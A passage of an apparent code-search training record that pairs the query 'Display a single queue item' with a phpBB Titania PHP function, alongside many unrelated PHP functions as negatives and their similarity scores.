$this->conf->IsAdmin || $this->conf->IsModerator)\n {\n $out .= '\n <p style=\"padding-top:10px\">\n <label for=\"ft_sticky\"><img alt=\" \" src=\"'.SDUserCache::$img_path.'sticky.png\" width=\"16\" height=\"16\" />\n <input type=\"checkbox\" id=\"ft_sticky\" name=\"stick_topic\" value=\"1\"'.($sticky?' checked=\"checked\"':'').' /> '.\n ($this->conf->plugin_phrases_arr['topic_options_stick_topic']).'</label></p>\n <p style=\"padding-top:10px\">\n <label for=\"ft_closed\"><img alt=\" \" src=\"'.SDUserCache::$img_path.'lock.png\" width=\"16\" height=\"16\" />\n <input type=\"checkbox\" id=\"ft_closed\" name=\"closed\" value=\"1\"'.($closed?' checked=\"checked\"':'').' /> '.\n ($this->conf->plugin_phrases_arr['topic_options_lock_topic']).'</label></p>\n <p style=\"padding-top:10px\">\n <label for=\"ft_moderated\"><img alt=\" \" src=\"'.SDUserCache::$img_path.'attention.png\" width=\"16\" height=\"16\" />\n <input type=\"checkbox\" id=\"ft_moderated\" name=\"moderate_topic\" value=\"1\"'.($moderate?' checked=\"checked\"':'').' /> '.\n $this->conf->plugin_phrases_arr['topic_options_moderate_topic'].'</label></p>\n ';\n }\n\n $tag_ug = sd_ConvertStrToArray($this->conf->plugin_settings_arr['tag_submit_permissions'],'|');\n if($this->conf->IsSiteAdmin || $this->conf->IsAdmin || $this->conf->IsModerator ||\n (!empty($tag_ug) && @array_intersect($userinfo['usergroupids'], $tag_ug)))\n {\n $out .= '\n <p style=\"padding-top:10px\"><label for=\"ft_tags\">'.$this->conf->plugin_phrases_arr['topic_tags'].'\n <input type=\"text\" id=\"ft_tags\" name=\"tags\" maxlength=\"200\" size=\"35\" value=\"'.$tags.'\" />\n <br />'.$this->conf->plugin_phrases_arr['topic_tags_hint'].'</label></p>';\n }\n\n if(!empty($this->conf->plugin_settings_arr['attachments_upload_path']) &&\n ($this->conf->IsSiteAdmin || $this->conf->IsAdmin || $this->conf->IsModerator ||\n (!empty($this->conf->plugin_settings_arr['valid_attachment_types']) &&\n (!empty($userinfo['plugindownloadids']) && @in_array($this->conf->plugin_id, $userinfo['plugindownloadids'])))) )\n {\n $out .= '\n <p style=\"padding-top:10px\"><label for=\"post_attachment\">'.$this->conf->plugin_phrases_arr['upload_attachments'].'\n <input id=\"post_attachment\" name=\"attachment\" type=\"file\" size=\"35\" /> (' .\n $this->conf->plugin_settings_arr['valid_attachment_types'] . ')</label></p>';\n }\n\n $out .= '\n </fieldset>';\n\n if(strlen($out))\n {\n echo '\n <p>'.$out.'</p>';\n }\n\n if(!($this->conf->IsSiteAdmin || $this->conf->IsAdmin || $this->conf->IsModerator) ||\n !empty($userinfo['require_vvc'])) //SD340: require_vvc\n {\n DisplayCaptcha(true,'amihuman');\n }\n\n echo '<br />\n <input type=\"submit\" name=\"create_topic\" value=\"'.strip_alltags($this->conf->plugin_phrases_arr['create_topic']).'\" />\n </div>\n </form>\n<script type=\"text/javascript\">\njQuery(document).ready(function() {\n (function($){ $(\"textarea#forum_post\").focus(); })(jQuery);\n});\n</script>\n';\n\n }", "public function getTopic()\n {\n return $this->topic;\n }", "public function print () : void {\r\n echo $this->getTitle(), PHP_EOL, PHP_EOL;\r\n echo $this->getInfo(), PHP_EOL, PHP_EOL;\r\n\r\n foreach ($this->items as $index => $value) {\r\n echo ($index + 1) . '. ' . $value->getText(), PHP_EOL;\r\n }\r\n\r\n echo PHP_EOL;\r\n }", "public function queue() {\n\t\t$this->prepareMessage();\n\t\t$this->queueRepository->add($this->toArray());\n\t}", "function ShowItem($class, $ParamArr = array())\r\n\t{\r\n\t\tglobal $member_id, $metatags;\r\n\t\t\r\n\t\tif(isset($_GET['id'])&&$_GET['id']!=\"\")\r\n\t\t{\r\n\t\t\t$IId = $_GET['id'];\r\n\t\t\t$Items = $this->GetRecord($class, $IId);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$MesData = \"Неправильный запрос вы будете перенаправлены на главну страницу <br /><a href=\\\"\".$this->GetLinkTag(\"main\").\"\\\">На главную</a>\";\t\r\n\t\t\treturn $this->MakeTemplate($this->templates['message'], array(\"msg\"=>$MesData), \"content\");\r\n\t\t}\r\n\t\t\r\n\t\t$CurItem = $Items[0];\r\n\t\tif(isset($CurItem['id'])&&$CurItem['id']!=\"\")\r\n\t\t{\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$MesData = \"Неправильный запрос вы будете перенаправлены на главну страницу <br /><a href=\\\"\".$this->GetLinkTag(\"main\").\"\\\">На главную</a>\";\t\r\n\t\t\treturn $this->MakeTemplate($this->templates['message'], array(\"msg\"=>$MesData), \"content\");\r\n\t\t}\r\n\t\t$metatags['title'] \t= $CurItem['title'].\" :: \".$this->MyConfig['title']['value'];\r\n\t\tif(isset($CurItem['description']))\r\n\t\t{\r\n\t\t\t$metatags['description'] \t= $CurItem['description'];\r\n\t\t}\t\r\n\t\t$ArrVar = array();\r\n\t\t\r\n\t\t$ArrVar['breadcrumbs'] = $this->GenerateCrumbs($class, $CurItem);\r\n\t\t\r\n\t\t//$ArrVar = $this->ShowComments($CurItem);\r\n\t\tforeach($CurItem as $key=>$value)\r\n\t\t{\r\n\t\t\t$CurItem[$key] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key]);\r\n\t\t\t$CurItem[$key.\"_raw\"] = $value;\r\n\t\t\tif($this->MyClasses[$class]['db'][$key]==\"img\")\r\n\t\t\t{\r\n\t\t\t\t$CurItem[\"\".$key.\"_thumb\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_thumb\");\r\n\t\t\t\t$CurItem[\"\".$key.\"_thumb_raw\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_thumb_raw\");\r\n\t\t\t\t$CurItem[\"\".$key.\"_raw\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_raw\");\r\n\t\t\t\t$CurItem[\"\".$key.\"_complete\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_complete\");\r\n\t\t\t}\r\n\t\t\tif($this->MyClasses[$class]['db'][$key]==\"unlimg\")\r\n\t\t\t{\r\n\t\t\t\t$CurItem[\"\".$key.\"_thumb\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_thumb\");\r\n\t\t\t\t$CurItem[\"\".$key.\"_complete\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_complete\");\r\n\t\t\t}\r\n\t\t\tif($this->MyClasses[$class]['db'][$key]==\"multifield\")\r\n\t\t\t{\r\n\t\t\t\t$ArrFields = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key]);\r\n\t\t\t\tforeach($ArrFields as $gre=>$fee)\r\n\t\t\t\t{\r\n\t\t\t\t\t$CurItem[\"\".$gre.\"\"] = $fee;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(isset($this->MyClasses[$class]['commcl'])&&$this->MyClasses[$class]['commcl']!=\"\")\r\n\t\t{\r\n\t\t\tif(isset($CurItem['commpub'])&&$CurItem['commpub']==$this->GetLangVar(\"checkbox_yes\"))\r\n\t\t\t{\r\n\t\t\t\t$CurItem['comments'] = $this->ShowComments($class, $CurItem['id']);\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$CurItem['comments'] = \"\";\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$CurItem['comments'] = \"\";\r\n\t\t}\r\n\t\tif($member_id['user_group']==\"1\")\r\n\t\t{\r\n\t\t\t$CurItem[\"adm_links\"] = \"<a href=\\\"\".$this->GetLink($class, \"edit\", array(\"id\"=>$IId)).\"\\\">\".$this->GetLangVar(\"Edit\").\"</a> | <a href=\\\"\".$this->GetLink($class, \"delete\", array(\"id\"=>$IId)).\"\\\">\".$this->GetLangVar(\"Delete\").\"</a>\";\r\n\t\t\tif(isset($this->ModerSets[''.$class.'']))\r\n\t\t\t{\r\n\t\t\t\t// moderation links go here\r\n\t\t\t\tif($CurItem['published']==\"1\")\r\n\t\t\t\t{\r\n\t\t\t\t\t$CurItem[\"adm_links\"] .= \" | <a href=\\\"\".$this->GetLink($class, \"unpublish\", array(\"id\"=>$IId)).\"\\\">\".$this->GetLangVar(\"unpubl\").\"</a>\"; \r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t$CurItem[\"adm_links\"] .= \" | <a href=\\\"\".$this->GetLink($class, \"publish\", array(\"id\"=>$IId)).\"\\\">\".$this->GetLangVar(\"publ\").\"</a>\";\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$CurItem[\"adm_links\"] = \"\";\r\n\t\t}\r\n\t\t$ArrVar = array_merge($ArrVar, $CurItem);\r\n\t\t$PlugDataArr = array();\r\n\t\tforeach($this->Plugins as $key=>$value)\r\n\t\t{\r\n\t\t\t$PlugDataArr = $this->LoadPlugin($key, \"ShowFull\", $ArrVar);\r\n\t\t}\r\n\t\t$ArrVar = array_merge($ArrVar, $PlugDataArr);\r\n\t\t\r\n\t\tif(isset($ParamArr['tpl']))\r\n\t\t{\r\n\t\t\t$TemplateLoad = $ParamArr['tpl'];\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$TemplateLoad = $this->MyClasses[$class]['tpl']['full'];\r\n\t\t}\r\n\t\t\t\r\n\t\t//$ArrVar = array_merge($ArrVar, $this->GetAdminLinks($class, \"ShowItem\"));\r\n\t\treturn $this->MakeTemplate($TemplateLoad, $ArrVar, \"content\");\r\n\t}", "private function printItems()\n {\n foreach ($this->items as $item) {\n $thisItems = $item->getElements();\n\n\n echo $this->startItem($thisItems['link']['content']);\n\n foreach ($thisItems as $feedItem) {\n echo $this->makeNode($feedItem['name'], $feedItem['content'], $feedItem['attributes']);\n }\n echo $this->endItem();\n }\n }", "public function getMessageAction() {\n\n //this will return One message which is inserted first of All exist in Current Queue\n $result = $this->messageQueue->Get();\n $this->code = ($result)? 200 : 404;\n return new \\Symfony\\Component\\HttpFoundation\\Response(json_encode(array('result'=>$result)), $this->code , array(\n 'Content-Type' => 'application/json'\n ));\n }", "public function show($position = NULL) {\n try{\n if($position){\n echo \"<pre style='height: 90%; overflow: visible;margin: 0 auto;width:90%;border-radius:20px;padding:20px;font-size:13px;color:#DDD;background-color:#333;'>\";\n echo \"<h2>Preview ArrayList Object #\".spl_object_hash($this).\"</h2><hr/>\";\n var_dump(self::get($position));\n echo \"</pre>\";\n }else{\n echo \"<pre style='height: 90%; overflow: visible;margin: 0 auto;width:90%;border-radius:20px;padding:20px;font-size:13px;color:#DDD;background-color:#333;'>\";\n echo \"<h2>Preview ArrayList Object #\".spl_object_hash($this).\"</h2><hr/>\";\n var_dump($this->Items);\n echo \"</pre>\";\n }\n }catch(Exception $e){\n throw $e;\n }\n }", "public function index()\n {\n return view('admin.topics.index', [\n 'topics' => Topic::latest()->get()\n ]);\n }", "public function getTopic()\n {\n return $this->Topic;\n }", "function display()\n\t{\n\t\t// Initialize some variables\n\t\t$app\t= & $this->get( 'Application' );\n\t\t$user\t= & $app->getUser();\n\t\t$menu\t= & $this->get( 'Menu' );\n\t\t$doc\t= & $app->getDocument();\n\n\t\t$params\t = & $menu->parameters;\n\t\t$Itemid = $menu->id;\n\n\t\t$gid \t= $user->get('gid');\n\t\t$task \t= JRequest::getVar('task');\n\t\t$id \t= JRequest::getVar('id');\n\t\t$option = JRequest::getVar('option');\n\n\t\t// Lets get our data from the model\n\t\t$section\t\t= & $this->get( 'Section' );\n\t\t$categories\t= & $this->get( 'Categories' );\n\n\t\t//add alternate feed link\n\t\t$link = $mainframe->getBaseURL() .'feed.php?option=com_content&task='.$task.'&id='.$id;\n\t\t$attribs = array('type' => 'application/rss+xml', 'title' => 'RSS 2.0');\n\t\t$document->addHeadLink($link.'&type=rss', 'alternate', 'rel', $attribs);\n\t\t$attribs = array('type' => 'application/atom+xml', 'title' => 'Atom 1.0');\n\t\t$document->addHeadLink($link.'&type=atom', 'alternate', 'rel', $attribs);\n\n\t\t/*\n\t\t * Lets set the page title\n\t\t */\n\t\tif (!empty ($menu->name)) {\n\t\t\t$app->setPageTitle($menu->name);\n\t\t}\n\n\t\t/*\n\t\t * Handle BreadCrumbs\n\t\t */\n\t\t$breadcrumbs = & $app->getPathWay();\n\t\t$breadcrumbs->addItem($section->title, '');\n\n\t\tif ($params->get('page_title')) {\n\t\t?>\n\t\t\t<div class=\"componentheading<?php echo $params->get( 'pageclass_sfx' ); ?>\">\n\t\t\t\t<?php echo $section->name; ?>\n\t\t\t</div>\n\t\t<?php\n\t\t}\n\t\t?>\n\t\t<table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\" align=\"center\" class=\"contentpane<?php echo $params->get( 'pageclass_sfx' ); ?>\">\n\t\t<tr>\n\t\t\t<td width=\"60%\" valign=\"top\" class=\"contentdescription<?php echo $params->get( 'pageclass_sfx' ); ?>\" colspan=\"2\">\n\t\t\t\t<?php\n\t\t\t\tif ($section->image) {\n\t\t\t\t\t$link = 'images/stories/'.$section->image;\n\t\t\t\t\t?>\n\t\t\t\t\t<img src=\"<?php echo $link;?>\" align=\"<?php echo $section->image_position;?>\" hspace=\"6\" alt=\"<?php echo $section->image;?>\" />\n\t\t\t\t\t<?php\n\t\t\t\t}\n\t\t\t\techo $section->description;\n\t\t\t\t?>\n\t\t\t</td>\n\t\t</tr>\n\t\t<tr>\n\t\t\t<td colspan=\"2\">\n\t\t\t\t<?php\n\t\t\t\t// Displays listing of Categories\n\t\t\t\tif (count($categories) > 0) {\n\t\t\t\t\tif ($params->get('other_cat_section')) {\n\t\t\t\t\t\t$this->_buildCategories($categories, $params, $section->id);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t?>\n\t\t\t</td>\n\t\t</tr>\n\t\t</table>\n\t\t<?php\n\t}", "function getMessagesPrint(){\r\n foreach ($this->messages as $key => $value) {\r\n echo $this->messagePrefixForPrint.$value.\"<br>\\n\";\r\n }\r\n }", "public function getQueue()\n {\n return $this->queue;\n }", "function dump_queue($flush=true)\n\t{\n\t\techo $this->output_queue;\n\t\tif($flush)\n\t\t{\n\t\t\t$this->output_queue = '';\n\t\t}\n\t\treturn true;\n\t}", "public function grabMessageFromQueue($queue) {\n return $this->getScenario()->runStep(new \\Codeception\\Step\\Action('grabMessageFromQueue', func_get_args()));\n }", "public function grabMessageFromQueue($queue) {\n return $this->getScenario()->runStep(new \\Codeception\\Step\\Action('grabMessageFromQueue', func_get_args()));\n }", "public function featured_q_display() {\n\t\t// Build the output to return for use by the shortcode.\n\t\tob_start();\n\n\t\t$args = array(\n\t\t\t'posts_per_page' => 1,\n\t\t\t'post_type' => 'post',\n\t\t\t'tax_query' => array(\n\t\t\t\tarray(\n\t\t\t\t\t'taxonomy' => 'category',\n\t\t\t\t\t'field' => 'slug',\n\t\t\t\t\t'terms' => 'featured-q',\n\t\t\t\t),\n\t\t\t),\n\t\t);\n\t\t$my_posts = new WP_Query( $args );\n\n\t\tif ( $my_posts->have_posts() ) : while( $my_posts->have_posts() ) : $my_posts->the_post();\n\t\t?>\n\t\t\t<div class=\"nested-halves\">\n\t\t\t\t<div class=\"nested-one\">\n\t\t\t<h1 class=\"blog-title\"><a href=\"<?php the_permalink(); ?>\" class=\"crimson\"><?php echo get_the_title(); ?></a></h1>\n\t\t\t<p class=\"blog-excerpt\"><?php echo wp_trim_words( get_the_excerpt(), 72, '...' ); ?></p>\n\t\t\t<p class=\"rmore\"><a href=\"<?php the_permalink(); ?>\">Read more</a></p>\n\t\t</div>\n\t\t\t<div class=\"nested-two\">\n\t\t\t<?php echo get_the_post_thumbnail( $post_id, 'spine-large_size'); ?>\n\t\t\t</div>\n\t\t</div>\n\t\t<?php endwhile; endif;\n\n\t\twp_reset_query();\n\n\t\t$content = ob_get_contents();\n\t\tob_end_clean();\n\n\t\treturn $content;\n\t}", "public function getTopic() {\n\t\treturn $this->_topic;\n\t}", "public function getShowTitle()\n {\n return sprintf($this->_('Showing %s'), $this->getTopic(1));\n }", "public function single_row($item)\n {\n $class = '';\n if ($item->topic_contrib_status !== 'open') :\n $class = 'closed';\n elseif (!$this->db()->meta()->get($item->topic_id, 'approved', true)) :\n $class = 'unapproved';\n elseif ($this->db()->meta()->get($item->topic_id, 'approved', true) == -1) :\n $class = 'wait_approve';\n endif;\n ?>\n <tr class=\"<?php echo $class; ?>\">\n <?php\n $this->single_row_columns($item);\n ?>\n </tr>\n <?php\n }", "public function getTopic():string\n\t{\n\t\tif (!empty($this->_topic)) {\n\t\t\treturn $this->_topic;\n\t\t} else {\n\t\t\treturn '';\n\t\t}\n\t}", "public function showMessages()\n {\n $messages = $this->getMessages();\n foreach ($messages as $message) {\n echo $message . \"\\n\";\n }\n }", "public function __toString()\n {\n print($this->np . \" \" . $this->nr . \"\\n\");\n\n for($i = 0; $i < count($this->procData); ++$i)\n {\n for($j = 0; $j < count($this->procData[$i]); ++$j)\n {\n if($j == 0)\n print(\"\\n\" . $this->procData[$i][$j] . \"\\t\");\n else if(($j % 2) == 0)\n print($this->procData[$i][$j] . \"\\t\");\n else\n print($this->procData[$i][$j] . \" \");\n }\n }\n\n print(\"\\n\");\n print(\"WAITING QUEUE: \");\n print_r($this->waiting);\n print(\"READY QUEUE: \");\n print_r($this->ready);\n\n return \"\";\n }", "public function column_topic_name( $item ) {\n\n\n\n\t\t\t$delete_nonce = wp_create_nonce( 'js_delete_topic' );\n\n\n\n\t\t\t$title = '<strong>' . $item['topic_name'] . '</strong>';\n\n\n\n\t\t\t$actions = [\n\n\t\t\t\t'edit' \t\t=> sprintf( '<a href=\"?page=%s&action=%s&topic_id=%s\">Edit</a>', esc_attr( $_REQUEST['page'] ), 'edit', absint( $item['topic_id'] ) ),\n\n\t\t\t\t'delete'\t=> sprintf( '<a href=\"?page=%s&action=%s&topic_id=%s&_wpnonce=%s\">Delete</a>', esc_attr( $_REQUEST['page'] ), 'delete', absint( $item['topic_id'] ), $delete_nonce )\n\n\t\t\t];\n\n\n\n\t\t\treturn $title . $this->row_actions( $actions );\n\n\t\t}" ]
[ "0.75435495", "0.7004108", "0.69298667", "0.6194152", "0.59888643", "0.5967475", "0.5961199", "0.59134376", "0.5895591", "0.5856463", "0.57945925", "0.5737059", "0.5737059", "0.5737059", "0.57045823", "0.57022256", "0.56103116", "0.5573261", "0.5564006", "0.5540925", "0.55132926", "0.5480046", "0.5467896", "0.544611", "0.5437247", "0.5436075", "0.5436023", "0.5434552", "0.54333675", "0.54188216", "0.54188216", "0.5386856", "0.53859824", "0.5385646", "0.5346732", "0.53410137", "0.53401256", "0.53401256", "0.53252757", "0.5317921", "0.5314427", "0.53037405", "0.53000027", "0.5286852", "0.5278208", "0.5260901", "0.5259064", "0.5249623", "0.52458954", "0.5242946", "0.52237195", "0.522245", "0.5217694", "0.52142566", "0.5204158", "0.520304", "0.52007794", "0.5195344", "0.5188717", "0.51798236", "0.5173703", "0.51672417", "0.5164976", "0.51623553", "0.5150428", "0.5141437", "0.5136155", "0.51303416", "0.5127397", "0.5117445", "0.5110147", "0.5103795", "0.51025206", "0.50937027", "0.5093532", "0.50918895", "0.50915307", "0.50900316", "0.5089041", "0.508543", "0.50852937", "0.508277", "0.5057454", "0.50568366", "0.5056304", "0.505366", "0.5053575", "0.50435543", "0.503641", "0.5035913", "0.5034251", "0.5034251", "0.50328493", "0.5032548", "0.50283843", "0.5025492", "0.5020533", "0.50143725", "0.5010758", "0.5007228" ]
0.6892924
3
Display a single queue item
public static function display_queue_item($queue_id) { phpbb::$user->add_lang_ext('phpbb/titania', 'contributions'); $controller_helper = phpbb::$container->get('phpbb.titania.controller.helper'); $path_helper = phpbb::$container->get('path_helper'); $sql_ary = array( 'SELECT' => '*', 'FROM' => array( TITANIA_QUEUE_TABLE => 'q', TITANIA_REVISIONS_TABLE => 'r', TITANIA_TOPICS_TABLE => 't', ), 'WHERE' => 'q.queue_id = ' . (int) $queue_id . ' AND r.revision_id = q.revision_id AND t.topic_id = q.queue_topic_id', ); // Main SQL Query $sql = phpbb::$db->sql_build_query('SELECT', $sql_ary); $result = phpbb::$db->sql_query($sql); $row = phpbb::$db->sql_fetchrow($result); phpbb::$db->sql_freeresult($result); if (!$row) { trigger_error('NO_QUEUE_ITEM'); } self::$queue[$queue_id] = $row; $queue = self::get_queue_object($queue_id); // Load the contribution $contrib = new titania_contribution(); $contrib->load((int) $row['contrib_id']); $contrib->get_download($row['revision_id']); $contrib->get_revisions(); $contrib->get_screenshots(); $contrib->assign_details(); // Load the topic (with the already selected data) $topic = new titania_topic; $topic->__set_array($row); // Bit of a hack for the posting phpbb::$request->overwrite('t', $topic->topic_id); $is_moderator = $contrib->type->acl_get('moderate'); $is_validator = $contrib->type->acl_get('validate'); $hash = array( 'hash' => generate_link_hash('queue_tool'), ); // Misc actions $misc_actions = array( array( 'RETEST_PV', $queue->get_tool_url('mpv', $row['revision_id'], $hash), $contrib->type->mpv_test, ), array( 'RETEST_PV', $queue->get_tool_url('epv', $row['revision_id'], $hash), $contrib->type->epv_test, ), array( 'RETEST_AUTOMOD', $queue->get_tool_url('automod', $row['revision_id'], $hash), $contrib->type->automod_test, ), ); // Some quick-actions $quick_actions = array(); $hash = array( 'hash' => generate_link_hash('queue_action'), ); if ($row['queue_status'] > 0) { $misc_actions = array_merge($misc_actions, array( array( 'REBUILD_FIRST_POST', $queue->get_url('rebuild', $hash), true, ), array( 'ALLOW_AUTHOR_REPACK', $queue->get_url('allow_author_repack'), $is_moderator && !$row['allow_author_repack'], ), array( 'MARK_TESTED', $queue->get_url('tested', $hash), !$row['queue_tested'], ), array( 'MARK_UNTESTED', $queue->get_url('not_tested', $hash), $row['queue_tested'], ), )); $tags = titania::$cache->get_tags(ext::TITANIA_QUEUE); unset($tags[$row['queue_status']]); $quick_actions = array( array( 'MARK_NO_PROGRESS', $queue->get_url('no_progress', $hash), $row['queue_progress'] == phpbb::$user->data['user_id'], 'queue_progress', ), array( 'MARK_IN_PROGRESS', $queue->get_url('in_progress', $hash), !$row['queue_progress'], 'queue_progress', ), array( 'CHANGE_STATUS', $queue->get_url('move'), true, 'change_status', $tags, ), array( 'REPACK', $contrib->get_url('revision', array('page' => 'repack', 'id' => $row['revision_id'])), $is_moderator, 'repack', ), array( 'CAT_MISC', '', true, 'misc', '', $misc_actions, ), array( 'APPROVE', $queue->get_url('approve'), $is_validator, 'approve', ), array( 'DENY', $queue->get_url('deny'), $is_validator, 'deny', ), ); } if (empty($quick_actions) && !empty($misc_actions)) { $quick_actions = array( array( 'CAT_MISC', '', true, 'misc', '', $misc_actions ), ); } foreach ($quick_actions as $data) { $properties = array('name', 'url', 'auth', 'class', 'tags', 'subactions'); $data = array_pad($data, sizeof($properties), ''); $data = array_combine($properties, $data); if (!$data['auth']) { continue; } phpbb::$template->assign_block_vars('queue_actions', array( 'NAME' => phpbb::$user->lang($data['name']), 'CLASS' => $data['class'], 'U_VIEW' => $data['url'], )); if ($data['tags']) { foreach ($data['tags'] as $tag_id => $tag_row) { phpbb::$template->assign_block_vars('queue_actions.subactions', array( 'ID' => $tag_id, 'NAME' => phpbb::$user->lang($tag_row['tag_field_name']), 'U_ACTION' => $path_helper->append_url_params($data['url'], array( 'id' => $tag_id, 'hash' => generate_link_hash('quick_actions'), )), )); } } if ($data['subactions']) { foreach ($data['subactions'] as $subdata) { $subdata = array_pad($subdata, sizeof($properties), ''); $subdata = array_combine($properties, $subdata); if (!$subdata['auth']) { continue; } phpbb::$template->assign_block_vars('queue_actions.subactions', array( 'NAME' => phpbb::$user->lang($subdata['name']), 'U_ACTION' => $subdata['url'], )); } } } if ($row['queue_status'] == -3) { $current_status = phpbb::$user->lang('QUEUE_CLOSED'); } else if ($row['queue_status'] == -2) { $current_status = phpbb::$user->lang['REVISION_DENIED']; } else if ($row['queue_status'] == -1) { $current_status = phpbb::$user->lang['REVISION_APPROVED']; } else { $current_status = phpbb::$container->get('phpbb.titania.tags')->get_tag_name($row['queue_status']); } phpbb::$template->assign_vars(array( 'CURRENT_STATUS' => $current_status, 'S_DISPLAY_CONTRIBUTION' => true, 'S_IN_QUEUE' => true, 'U_POST_REPLY' => $queue->get_url('reply'), 'U_NEW_REVISION' => false, // Prevent nubs from trying to submit a new revision when they want to actually repack )); // Subscriptions phpbb::$container->get('phpbb.titania.subscriptions')->handle_subscriptions( ext::TITANIA_TOPIC, $topic->topic_id, $controller_helper->get_current_url(), 'SUBSCRIBE_TOPIC' ); return compact('row', 'contrib', 'topic'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function display() {\n if (!$this->isEmpty()) {\n for ($i = 0; $i < $this->getLength(); $i++) {\n echo $this->queue[$i];\n echo \"<br>\";\n }\n } \n else {\n return \"The Queue is empty\";\n }\n }", "public function show()\n {\n global $wpdb;\n print_r($wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}queue\"));\n }", "public function detailsAction($queue)\n {\n return $this->templating->renderResponse('ProcessingBundle:Index:details.html.twig', array(\n 'queue' => $this->processor->getJobs($queue)\n ));\n }", "function display($tpl = null){\n $app = JFactory::getApplication();\n $this->plugin = $app->input->get('plugin');\n $this->model = $this->getModel();\n $this->items = $this->model->getItems();\n $this->queue = $this->model->getNextItem($this->plugin);\n parent::display($tpl);\n }", "public function getShowQueueAdd()\n {\n return $this->getChildBlock('grid')->getShowQueueAdd();\n }", "public function getNextQueueItem() {\n $select = db_select($this->og_controller->queue_table, 'queue');\n $select->condition('queue.processed', 0);\n $select->fields('queue', array('entity_type', 'entity_id'));\n $select->range(0, 1);\n\n if ($item = $select->execute()->fetchObject()) {\n return new Dumper_Data_QueueItem($this->og_controller->og_node->nid, $item->entity_type, $item->entity_id);\n }\n\n return FALSE;\n }", "public function show(printQueue $printQueue)\n {\n //\n }", "public function actionQueue(){\n\t\t$model = new XUploadForm;\n\t\t$this->render('queue', array(\n\t\t\t'model' => $model,\n\t\t));\n\t}", "public static function display_queue_item_complete($queue_id)\n\t{\n\t\t$data = self::display_queue_item($queue_id);\n\n\t\t// Display the posts\n\t\tposts_overlord::display_topic_complete($data['topic']);\n\n\t\treturn $data;\n\t}", "public function do_viewtask()\n\t{\n\t\tif ( isset( $_REQUEST[ 'task_id' ] ) )\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\t$task = Task::load( $_REQUEST[ 'task_id' ] );\n\t\t\t}\n\t\t\tcatch( \\OutOfRangeException $e )\n\t\t\t{\n\t\t\t\t$task = NULL;\n\t\t\t}\n\t\t}\n\t\t\n\t\techo $this->getPlugin()->getTemplateContent( 'views/management/task-item', array( 'task' => $task ) );\n\t}", "function show()\r\n\t{\r\n\t\t?>\r\n\r\n\t\t<button class='textlayout' type=\"submit\" name=\"itemtoedit\" value=\"<?php echo $this->orderno ?>\" >\r\n\t\t\t<p>\r\n\t\t\t<span style='font-weight:bold'><?php echo $this->orderno . \". \" . $this->question ; ?></span>\r\n\t\t\t<span style='font-weight:normal'>(<?php echo $this->typeshort; ?>)</span><br>\r\n\t\t\t<span><?php $n = 1; foreach($this->answers as $answerobject){if ($n > 1){echo \", \";}$n ++;echo $answerobject->answer;}?></span>\r\n\t\t\t</p>\r\n\t\t</button><br>\r\n\t\t\r\n\t\t<?php \r\n\t}", "public function show($id)\n {\n return $this->commandBus->execute(new \\Sailr\\Item\\GetSingleItemCommand($id));\n }", "function getQueueTitle( $queue ) {\n\t\t$query = \"SELECT rs.`title` AS queue FROM `\".BIT_DB_PREFIX.\"task_roomstat` rs WHERE rs.`terminal` = 80 + $queue\";\n\t\treturn $this->mDb->getOne( $query );\n\t}", "public function display_type($queue_type)\n\t{\n\t\t$type = $this->load_type($queue_type);\n\n\t\tif (!$type->acl_get('queue_discussion'))\n\t\t{\n\t\t\treturn $this->helper->needs_auth();\n\t\t}\n\n\t\t// Mark all topics read\n\t\tif ($this->request->variable('mark', '') == 'topics')\n\t\t{\n\t\t\t$this->tracking->track(ext::TITANIA_QUEUE_DISCUSSION, self::ALL_TYPES);\n\t\t}\n\n\t\t$this->display->assign_global_vars();\n\t\t$this->generate_navigation('queue_discussion');\n\n\t\t// Add to Breadcrumbs\n\t\t$this->display->generate_breadcrumbs(array(\n\t\t\t$type->lang['lang']\t=> $this->get_type_url($type),\n\t\t));\n\n\t\t\\topics_overlord::display_forums_complete('queue_discussion', false, array('topic_category' => $type->id));\n\n\t\t// Mark all topics read\n\t\t$this->template->assign_var('U_MARK_TOPICS', $this->get_type_url($type, array('mark' => 'topics')));\n\n\t\treturn $this->helper->render('manage/queue_discussion.html', 'QUEUE_DISCUSSION');\n\t}", "function getQueue($id);", "public function show(Item $item)\n {\n \n }", "public function actionSingle() {\n// $conn = $amqp->Connection();\n// $channel = $amqp->Channel($conn);\n// $amqp->Exchange($conn, $channel);\n// $amqp->Queue($channel);\n }", "public function queue(): string\n {\n return $this->queue;\n }", "public function show(Item $item)\n {\n //\n }", "public function show(Item $item)\n {\n //\n }", "public function show(Item $item)\n {\n }", "public function show($orderItem)\n {\n }", "public function display(){\n\t\t$item_name = $this->pdh->get('item', 'name', array($this->url_id));\n\n\t\tif ( empty($item_name) ){\n\t\t\tmessage_die($this->user->lang('error_invalid_item_provided'));\n\t\t}\n\n\t\t#search for the gameid\n\t\t$game_id = $this->pdh->get('item', 'game_itemid', array($this->url_id));\n\n\t\t//Sort\n\t\t$sort\t\t\t= $this->in->get('sort');\n\n\t\t$item_ids = array();\n\t\tif ($game_id > 1){\n\t\t\t$item_ids = 